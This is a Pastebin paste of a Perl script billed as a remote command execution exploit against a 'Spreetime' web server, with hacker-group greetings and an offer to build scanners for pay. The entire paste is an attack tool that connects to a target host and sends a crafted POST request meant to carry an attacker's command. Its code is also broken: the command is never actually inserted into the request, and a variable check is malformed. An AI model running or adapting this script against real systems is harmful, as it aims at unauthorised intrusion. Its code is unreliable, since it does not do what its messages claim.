Advertisement
Guest User

Untitled

a guest
Aug 16th, 2017
217
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/perl
  2. ## Spreetime (r00t time) RCE exploit coded by xd / HaqNET (#Haxnet@EFNET)
  3. ## greetz: to those who deserve them, all my friends from haxnet... the goods ones :P
  4.  
  5. use IO::Socket::INET;
  6.  
  7. sub usage {
  8. print "perl $0 <IP/Host> <CMD>\n";
  9. exit(1);
  10. }
  11. my($host, $cmd) = @ARGV or usage();
  12. print "[+] Connecting to host...\n";
  13. my $sock = IO::Socket::INET->new(Proto => 'tcp',PeerAddr => $host,PeerPort => 80,Timeout => 10) or die "[-] Connect error!\n";
  14. if(!sock) {
  15. print "[-] No connection to the box was made!\n";
  16. exit(-1);
  17. } else {
  18. print "[+] Connected.. Sending Ev1l Buffer..\n";
  19.  
  20. my $buffer_size=length($buffer);
  21.  
  22. $buffer=
  23. "POST / HTTP/1.1\n".
  24. "Host: $host:80\n".
  25. "Keep-Alive: 300\n".
  26. "Connection: Close\n".
  27. "Referer: ABXD\n".
  28. "Cookie: sid=1; testing=1;\n".
  29. "Content-Type: text\n";
  30.  
  31. $buffer=~s/buffer_size/$cmd/g;
  32.  
  33. print $sock $buffer;
  34. if ($sock) {
  35. print "[+] Buffer sent.. running command: $cmd\n";
  36. print $sock $buffer;
  37. }
  38. }
  39.  
  40. ## feel free to fix this and send back to me even! I will help make ANY perl PoC into scanner... for the right price :P (not much im a cheap fkr)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement